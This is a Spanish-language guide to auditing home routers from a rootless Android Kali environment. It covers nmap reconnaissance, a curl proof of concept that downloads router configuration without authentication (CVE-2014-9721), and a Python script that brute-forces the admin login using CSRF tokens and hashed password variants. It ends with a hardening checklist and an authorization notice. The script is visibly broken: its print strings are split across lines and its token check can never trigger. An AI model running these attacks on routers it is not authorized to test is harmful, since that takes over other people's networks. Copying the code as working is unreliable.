Manual de Auditoría de Routers Domésticos (Entorno Kali NetHunter Rootless)

Autor: Sammi De Blas - SysAdmin & Cybersecurity Specialist. Objetivo: Evaluar la seguridad de dispositivos de red (CPE) desde un dispositivo móvil Android sin acceso Root completo.

1. Preparación del Entorno (Troubleshooting Inicial)

En entornos NetHunter Rootless, no tenemos acceso directo al Kernel de Android ni a “Raw Sockets”. Esto cambia las reglas del juego.

1.1. Diagnóstico de Conectividad

Si ping funciona a IP (8.8.8.8) pero falla apt update, es un problema de DNS o permisos de Android.

Solución DNS:

echo "nameserver 8.8.8.8" > /etc/resolv.conf

Solución Permisos (Usuario _apt):

usermod -a -G aid_inet,aid_net_raw _apt

1.2. Herramientas Necesarias

Instalar suite moderna (iproute2) y diccionarios básicos.

sudo apt update
sudo apt install iproute2 net-tools python3-requests nmap nikto hydra

2. Fase de Descubrimiento (Reconnaissance)

Limitación Técnica: En Rootless, el escaneo SYN (-sS) y la detección de OS (-O) fallan por falta de permisos. Debemos usar TCP Connect Scan.

2.1. Escaneo de Puertos “Sigiloso” (User-Space)

Usamos -Pn para evitar el ping ICMP (que requiere root) y -sT para usar conexiones completas del sistema operativo.

Comando:

nmap -Pn -sT --top-ports 100 --open -vvv [IP_ROUTER]

(Ejemplo IP: 10.10.10.1)

2.2. Identificación de Servicios (Banner Grabbing)

Una vez detectados puertos abiertos (ej: 80, 443), interrogamos la versión del software.

Comando:

nmap -Pn -sT -sV --version-intensity 5 -p 80,443 [IP_ROUTER]

Qué buscar en la salida:

  • Nombre del servidor (Ej: ZTE web server, RomPager, MicroHttpd).

  • Año del Copyright (Ej: 2015 indica software obsoleto).

3. Análisis de Vulnerabilidades

3.1. Búsqueda en Bases de Datos

Con la versión del servidor, buscamos exploits conocidos.

searchsploit ZTE F660
searchsploit [MARCA_DETECTADA]

3.2. Verificación de CVE-2014-9721 (Config Disclosure)

Común en routers antiguos. Intenta descargar config.bin sin autenticación. Prueba de Concepto (PoC):

curl -v -X POST -d "config=" "http://[IP_ROUTER]/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" -o config.bin
  • Éxito: Archivo de >20KB.

  • Fallo: Error 404 o archivo de <1KB.

3.2. Escaneo web general (Nikto)

Busca archivos por defecto y configuraciones inseguras.

nikto -h http://[IP_ROUTER] -Tuning 9

4. Fase de Explotación (Acceso al Panel)

Si no hay vulnerabilidades críticas, atacamos la autenticación.

4.1. Análisis del Formulario de Login

Usar curl para identificar los nombres de los campos (name=“Username”, name=“Frm_Password”).

curl -s http://[IP_ROUTER] | grep -i "<input"

4.2. Evasión de Criptografía Client-Side

Muchos routers modernos hashean la contraseña en JavaScript antes de enviarla, así que Hydra falla: el formulario no recibe la contraseña en claro. La solución es reproducir el mismo calculo del navegador (texto plano, MD5 y SHA256) y gestionar la cookie de sesión y el token CSRF.

Script mínimo, guardado como audit_router.py:

import hashlib
import re
import sys
 
import requests
 
TARGET_URL = "http://10.0.0.1/"   # sustituir por la IP del equipo
USERS = ["admin", "user", "root"]
PASSWORDS = ["admin", "1234", "123456", "admin123"]
TIMEOUT = 5
 
 
def get_token(session):
    """Extrae el token CSRF del formulario de login."""
    r = session.get(TARGET_URL, timeout=TIMEOUT)
    m = re.search(r'id="_sessionTOKEN" value="(.*?)"', r.text)
    return m.group(1) if m else ""
 
 
def brute_force():
    for user in USERS:
        for password in PASSWORDS:
            session = requests.Session()
            token = get_token(session)
            if token is None:
                print("[!] No se pudo leer el token, revisar la URL")
                return
 
            variantes = [
                password,
                hashlib.sha256(password.encode()).hexdigest(),
                hashlib.md5(password.encode()).hexdigest(),
            ]
 
            for intento in variantes:
                data = {
                    "Username": user,
                    "Password": intento,
                    "_sessionTOKEN": token,
                }
                r = session.post(TARGET_URL, data=data, timeout=TIMEOUT, allow_redirects=False)
                sys.stdout.write(".")
                sys.stdout.flush()
                # 302 o redireccion a la pagina interna = credenciales validas
                if r.status_code == 302 or "Frm_Username" not in r.text:
                    print("
[+] Acceso conseguido: " + user + " / " + password)
                    return
    print("
[-] Sin exito con el diccionario usado")
 
 
if __name__ == "__main__":
    brute_force()

Notas de uso:

  • Solo contra un router propio o con autorización escrita. Un panel de administración de CPE ajeno es acceso no autorizado.
  • Ajustar la URL, los nombres de los campos (Username, Password, _sessionTOKEN) y el diccionario al modelo concreto.
  • Limitar los intentos: los CPE domesticos bloquean o reinician con decenas de peticiones seguidas.
  • Si el firmware usa un hash propio en vez de MD5/SHA256, hay que leer el .js del login y replicar la función.

5. Recomendaciones y cierre

5.1. La prueba de la pegatina

Siempre verificar la etiqueta inferior.

  • Si la clave de la etiqueta funciona → Riesgo Medio (Acceso físico compromete la red).

  • Si la clave de la etiqueta es la misma que la del Wi-Fi → Riesgo Crítico (Cualquiera con el Wi-Fi entra al router).

5.2. Checklist de configuración una vez dentro

Revisar estos puntos para asegurar el router:

  1. [ ] UPnP: Debe estar DESACTIVADO. (Permite abrir puertos sin autenticación).

  2. [ ] DMZ: Debe estar VACÍO. (Expone un equipo a todo internet).

  3. [ ] Remote Management (WAN): Debe estar DESACTIVADO. (Nadie debe poder entrar desde fuera de casa).

  4. [ ] WPS: Debe estar DESACTIVADO. (Vulnerable a ataques Pixie Dust/Fuerza Bruta).

  5. [ ] Logs: Verificar si el router registra los intentos de acceso fallidos.

Notas finales para Kali NetHunter Rootless

  • No Wi-Fi Hacking: No intentar airmon-ng o captura de Handshakes (requiere Root/Kernel Mode).

  • No ARP Spoofing: No intentar MITM a nivel 2.

  • Enfoque: La auditoría debe centrarse en la Capa de Aplicación (Web/HTTP) y configuración del dispositivo.